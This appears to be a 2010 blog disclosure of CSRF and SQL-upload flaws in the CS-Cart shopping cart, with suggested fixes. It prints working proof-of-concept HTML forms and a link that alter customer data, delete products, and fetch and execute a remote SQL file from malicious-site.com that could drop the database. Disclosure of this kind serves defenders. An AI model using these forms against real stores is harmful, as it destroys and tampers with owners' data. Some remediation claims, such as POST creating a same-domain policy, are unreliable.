This is a valid article, and is considered technically accurate up to Feb. 21, 2010
Several weeks ago, I wrote a post detailing a security vulnerability I found in a popular eCommerce shopping cart application. I alerted the developers, have heard nothing back, and am releasing this vulnerability report. I’ve given them nearly a month to respond.
The vulnerabilities exists in version 2.0.11 (and prior versions) of the popular shopping cart, CS-Cart. They include both Cross Site Request Forgery attacks and SQL Injection attacks.
Cross Site Request Forgery
A Cross Site Request Forgery (CSRF) attack takes place when malicious-site.com makes a request to good-site.com, and good-site.com allows it as the result of some escalation of privilege. good-site.com trusts malicious-site.com for some reason (although it shouldn’t), and thus requests that should only be allowed on good-site.com are allowed from malicious-site.com. Ironically, the CSRF attack is generally initiated by an actual trusted user of good-site.com, most likely without her knowledge.
If an administrator had CS-Cart installed on good-site.com, malicious-site.com could, with the proper authentication on good-site.com:
- Delete Products
- Delete Customers
- Alter Passwords
- Delete Orders
- Alter Order Data
- Many more things similar to Creating, Updating or Deleting of data.
This happens because:
- Many of these operations are allowed through a normal GET request, rather than a POST request.
- No tokens are used to further authenticate the session.
- Create, Update, and Delete request are allowed cross domain.
- Store owner’s can easily be Phished with an email to initiate the attack.
Luring the store owner into a CSRF attack is simple with a process called Phishing. Phishing occurs when an attacker mimics a trusted source (such as a new order confirmation email) and the administrator unknowingly clicks a malicious link. This can happen even easier when HTML emails are used because the link can point to one location and display another: <a href=”http://malicious-site.com“>http://good-site.com</a>. Phishing is particularly common in the banking industry, where an attacker will send out an email to a bank’s customers that mimics a real email from the bank. The customer clicks the link, goes to a site that looks similar to the banks website, enters their credentials, which are just sent to the attacker. This is one reason banks should not include links in their emails. Neither should shopping cart software. When an email is sent from the store to the administrator, it should contain no links. The administrator should have to manually type in the URL of the administration panel and log in manually. A small burden, but clearly much smaller than having your data stolen.
A simple form to duplicate this is shown. Replace the URL in the form code with your CS-Cart installation URL. If you have an authenticated administrator’s session, this will easily work.
<h3>Save Fake Data (this will change the billing city of user id #3) </h3>
<form method="post" action="http://good-site.com/admin.php">
<input type="hidden" name="user_id" value="3" />
<input type="hidden" name="selected_section" value="general" />
<input type="hidden" name="dispatch[profiles.update.]" value="Save" />
<input type="text" name="user_data[b_city]" value="" />
<input type="submit" value="Save the Billing City" />
</form>
Or deleting a product.
<a href="http://good-site.com/admin.php?dispatch=products.delete&product_id=1">
Click to delete this product
</a>
<br>
(Furthermore, this could be the src of an iframe and it would be
automatically loaded, and the product would be deleted)
SQL Injection
The next attack is called a SQL Injection attack, and occurs when a bit of malicious SQL is inserted and executed. This could have drastic consequences, as an attack can easily update the administrators login to allow the attacker to login, or could delete entire tables, or any other array of bad things. While the most common choice of SQL Injection is through a form, it can also occur in other places. From what I’ve seen, CS-Cart is adequately prepared to handle the first, more obvious choice of SQL Injection through a user submitted form.
Unfortunately, the developers left open a huge vulnerability. CS-Cart has the ability to backup your database from the Administration Panel. Additionally, you can upload an existing backup, either from your local computer, or from another domain. Because the upload form submission is not validated any further, one can simply create a form that automatically submits when visiting a malicious site (through an iframe), and another form that executes the uploaded SQL file through another iframe. In this case, the attacker does not have to get creative in how he structures the SQL Injection attack; he can simply make a SQL file that drops a database (the default database name is cart), or one that deletes all of the tables (there are 200+ tables, so the SQL file could easily contain 200 lines, each of DROP TABLE `cscart_table_name` and the database would be effectively dropped).
The solution to this is clear.
Do not allow database backups through the administration panel. Period, end of story. While it’s possible to defend against, it’s a bad idea to allow remote or local uploads of SQL files. Any competent store owner should have an administrator handle the backups themselves. Furthermore, while CS-Cart claims PCI Compliance, this failed point #11.
A simple form can upload a SQL file after an authenticated administrator’s session is created. Again, replace the fake URL with your CS-Cart installation URL.
<h3>Upload a SQL File</h3>
<div>
(This will copy the file from
<a href="http://malicious-site.com/bad-data.sql">
http://malicious-site.com/bad-data.sql
</a> to the server. Note that the file is hosted on another domain.)
</div>
<form enctype="multipart/form-data" method="post" action="http://good-site.com/admin.php">
<input type="hidden" name="fake" value="1" />
<input type="hidden" name="selected_section" value="restore" />
<input type="hidden" name="dispatch[database.upload]" value="Upload" />
<input type="hidden" name="file_sql_dump[0]" value="http://malicious-site.com/bad-data.sql" />
<input type="hidden" name="type_sql_dump[0]" value="url" />
<input type="submit" value="Upload Remote File" />
</form>
The bad-data.sql file is small because I know the name of the database, however, it could easily contain the names of all tables.
Executing the uploaded bad-data.sql file is equally as simple.
<h3>Execute Uploaded SQL File</h3>
<form method="post" action="http://good-site.com/admin.php">
<input type="hidden" name="dispatch[database.restore]" value="Restore" />
<input type="hidden" name="backup_files[]" value="bad-data.sql" />
<input type="submit" value="Execute Remote File" />
</form>
In addition to this, if one were to find the structure of the backed up file names from CS-Cart (such as $database-$date.sql), executing an existing file would be just as easy.
Solutions
Fortunately, fixing these problems is fairly simple. If the software is designed properly, updating them should be a globally performed initiative. Here’s how.
- Create two SHA1 hashes and one salt. One hash (the private-hash) and the salt are stored securely in the session (known to no one other than the computer) and one hash (the public-hash) is submitted with each form. Furthermore, the SHA1 hash of secure-hash = sha1(private-hash + salt + public-hash) is stored in the session (also unknown to anyone). On each form submission, the hash submitted with the form (public-hash) is validated with the private-hash and salt to determine the secure-hash. If the calculated-secure-hash does not equal the secure-hash, then kill the session immediately and redirect to a login form.
- Only allow Create, Update, and Delete actions through POST requests. Being able to click a link to duplicate (a Create action) a product, or a link to Delete a product is nice, but insecure. You must be sure to include the public-hash with each link. Instead, submit them through a POST request.
- From #2, the reason you want to use a POST request is to create a Same Domain Policy. Only requests coming from the originating domain (in the Administration Panel) are allowed. Thus, malicious-site.com can not POST a request to good-site.com. If you must have this operation, create an API and only give permission to whitelisted domains.
- Do not include links in any store communication between the software and the administrator or customer. Phishing is also possible on the customer’s end. If the shopping cart stores credit cards (an option for CS-Cart), a customer could be phished and her credit cards stolen.
- When installing the software, have the administrator create a secure PIN, similar to the PIN on your debit card. This can be a 4-6 digit number. On all communication between the shopping cart and the administrator, the PIN will appear in either the Subject or Body of the email. If the PIN is not present, the email should be considered malicious and deleted. The PIN is known only to the administrator and should be changed every 30 days.
Preventing these attacks takes both a technological approach and a social approach. These attacks are equal parts social engineering (Phishing) and technological mistakes (SQL Injection/CSRF). Unfortunately, CS-Cart does not have a good security history.
While I am not a security expert, I did discover these attacks fairly easily. Please notify the CS-Cart developers so they can be patched as soon as possible.
Conclusion
One may argue that the chances of these being executed are slim. While these attacks do rely on chance, social, and technological engineering, they are entirely possible. Please take the time to audit your software and the software of others.